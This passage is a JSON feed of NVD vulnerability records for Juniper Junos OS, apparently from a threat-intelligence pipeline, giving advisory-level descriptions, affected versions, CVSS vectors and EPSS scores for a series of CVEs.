score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102081","cveId":"CVE-2026-102081","aliases":[],"kind":"vulnerability","title":"A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated,...","summary":"A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).\n\n\n\nOn SRX4000 Series, and SRX5000 Series with SPC3, and MX Series with SPC3, when one or more specific application services like ALGs, IDP/DPI, APPID, SECINTEL, AAMW or AppQoE are configured, a high connections per second churn will cause PFE memory to leak. If the memory is exhausted traffic processing will be impacted.\n\nUse the CLI command show security monitoring to monitor the memory utilization of the PFEs on the FPCs.\n\nThis issue affects Junos OS on SRX Series and MX Series:\n\n\n  *  23.4 versions from 23.4R2-S3 before 23.4R2-S7;\n  *  24.2 versions from 24.2R2 before 24.2R2-S3;\n  *  24.4 versions before 24.4R2-S3;\n  *  25.2 versions before 25.2R1-S2, 25.2R2.","detail":"A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).\n\n\n\nOn SRX4000 Series, and SRX5000 Series with SPC3, and MX Series with SPC3, when one or more specific application services like ALGs, IDP/DPI, APPID, SECINTEL, AAMW or AppQoE are configured, a high connections per second churn will cause PFE memory to leak. If the memory is exhausted traffic processing will be impacted.\n\nUse the CLI command show security monitoring to monitor the memory utilization of the PFEs on the FPCs.\n\nThis issue affects Junos OS on SRX Series and MX Series:\n\n\n  *  23.4 versions from 23.4R2-S3 before 23.4R2-S7;\n  *  24.2 versions from 24.2R2 before 24.2R2-S3;\n  *  24.4 versions before 24.4R2-S3;\n  *  25.2 versions before 25.2R1-S2, 25.2R2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:03.863Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102081","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00374,"percentile":0.31044,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102081","type":"primary","publishedAt":"2026-10-14T17:18:03.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102079","cveId":"CVE-2026-102079","aliases":[],"kind":"vulnerability","title":"An OS command injection vulnerability in the CLI of Juniper Networks Junos OS allows a local, low privileged attacker to take complete control of the device.","summary":"An OS command injection vulnerability in the CLI of Juniper Networks Junos OS allows a local, low privileged attacker to take complete control of the device.\n\nA specific 'request csds' command doesn't sanitize user provided input so that it can be interpreted as a command. This allows unintended command execution with root privileges, which can lead to unauthorized system access or modification.\n\n\n\n\n\nThis issue affects Junos OS:\n\n\n  *  24.4 versions before 24.4R2-S4;\n  *  25.2 versions before 25.2R2-S1;\n  *  25.4 versions before 25.4R1-S3;\n\n\n\n\n\n\nThis issue does not affect Junos OS releases before 24.4R1.","detail":"An OS command injection vulnerability in the CLI of Juniper Networks Junos OS allows a local, low privileged attacker to take complete control of the device.\n\nA specific 'request csds' command doesn't sanitize user provided input so that it can be interpreted as a command. This allows unintended command execution with root privileges, which can lead to unauthorized system access or modification.\n\n\n\n\n\nThis issue affects Junos OS:\n\n\n  *  24.4 versions before 24.4R2-S4;\n  *  25.2 versions before 25.2R2-S1;\n  *  25.4 versions before 25.4R1-S3;\n\n\n\n\n\n\nThis issue does not affect Junos OS releases before 24.4R1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:03.560Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102079","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00659,"percentile":0.5123,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102079","type":"primary","publishedAt":"2026-10-14T17:18:03.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102078","cveId":"CVE-2026-102078","aliases":[],"kind":"vulnerability","title":"A Use After Free vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a...","summary":"A Use After Free vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\n\n\nWhen web filtering for TCP traffic is configured, a high volume of DNS requests increases the likelihood of a flowd crash and restart, which leads to a complete service outage until the service has automatically recovered. This is a race condition outside the attacker's direct control.\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S5;\n  *  from 23.4 before 23.4R2-S6;\n  *  from 24.2 before 24.2R2-S3;\n  *  from 24.4 before 24.4R2-S1;\n  *  from 25.2 before 25.2R1-S1, 25.2R2.","detail":"A Use After Free vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\n\n\nWhen web filtering for TCP traffic is configured, a high volume of DNS requests increases the likelihood of a flowd crash and restart, which leads to a complete service outage until the service has automatically recovered. This is a race condition outside the attacker's direct control.\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S5;\n  *  from 23.4 before 23.4R2-S6;\n  *  from 24.2 before 24.2R2-S3;\n  *  from 24.4 before 24.4R2-S1;\n  *  from 25.2 before 25.2R1-S1, 25.2R2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:03.400Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102078","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00329,"percentile":0.25782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102078","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102078","type":"primary","publishedAt":"2026-10-14T17:18:03.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102078, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102072","cveId":"CVE-2026-102072","aliases":[],"kind":"vulnerability","title":"An Improper Handling of Highly Compressed Data vulnerability in the gRPC library used by na-grpcd of Juniper Networks Junos OS allows an authenticated network-based attacker to...","summary":"An Improper Handling of Highly Compressed Data vulnerability in the gRPC library used by na-grpcd of Juniper Networks Junos OS allows an authenticated network-based attacker to cause a denial of service via a compressed gRPC request.","detail":"An Improper Handling of Highly Compressed Data vulnerability in the gRPC library used by na-grpcd of Juniper Networks Junos OS allows an authenticated network-based attacker to cause a denial of service via a compressed gRPC request.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:03.253Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102072","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00411,"percentile":0.35104,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102072&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102072","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102072","type":"primary","publishedAt":"2026-10-14T17:18:03.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102072&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102072, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102071","cveId":"CVE-2026-102071","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a specific RSVP packet.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a specific RSVP packet.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:03.093Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102071","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00269,"percentile":0.18882,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102071","type":"primary","publishedAt":"2026-10-14T17:18:03.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102069","cveId":"CVE-2026-102069","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the dot1x daemon of Juniper Networks Junos OS devices operating as Junos Fusion Aggregation Devices allows an adjacent attacker...","summary":"A Stack-based Buffer Overflow vulnerability in the dot1x daemon of Juniper Networks Junos OS devices operating as Junos Fusion Aggregation Devices allows an adjacent attacker acting as the configured ICCP peer to cause a denial of service and potentially execute code as root via. The issue is triggered when dot1x synchronization is enabled for the required Fusion satellite topology.","detail":"A Stack-based Buffer Overflow vulnerability in the dot1x daemon of Juniper Networks Junos OS devices operating as Junos Fusion Aggregation Devices allows an adjacent attacker acting as the configured ICCP peer to cause a denial of service and potentially execute code as root via. The issue is triggered when dot1x synchronization is enabled for the required Fusion satellite topology.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:02.800Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102069","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.0035,"percentile":0.28342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102069","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102069","type":"primary","publishedAt":"2026-10-14T17:18:02.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102067","cveId":"CVE-2026-102067","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a crafted RSVP packet when L2 LSP support is enabled.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a crafted RSVP packet when L2 LSP support is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:02.490Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102067","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00254,"percentile":0.1682,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102067&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102067","type":"primary","publishedAt":"2026-10-14T17:18:02.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102067&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102067, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102066","cveId":"CVE-2026-102066","aliases":[],"kind":"vulnerability","title":"A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent...","summary":"A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a malformed RSVP packet when RSVP is enabled on the receiving interface.","detail":"A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a malformed RSVP packet when RSVP is enabled on the receiving interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:02.330Z","updatedAt":"2026-10-19T15:16:53.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102066","asOf":"2026-10-19T15:16:53.630Z"},"epss":{"probability":0.00273,"percentile":0.19482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102066","type":"primary","publishedAt":"2026-10-14T17:18:02.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102065","cveId":"CVE-2026-102065","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause an rpd crash via a malformed BGP-signaled SRv6 service route when SRv6 dynamic tunnels are enabled.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause an rpd crash via a malformed BGP-signaled SRv6 service route when SRv6 dynamic tunnels are enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:02.173Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102065","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.0046,"percentile":0.39613,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102065","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102065","type":"primary","publishedAt":"2026-10-14T17:18:02.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102064","cveId":"CVE-2026-102064","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause rpd crash via malformed BGP...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause rpd crash via malformed BGP MCAST-VPN updates from a configured eBGP peer.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause rpd crash via malformed BGP MCAST-VPN updates from a configured eBGP peer.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 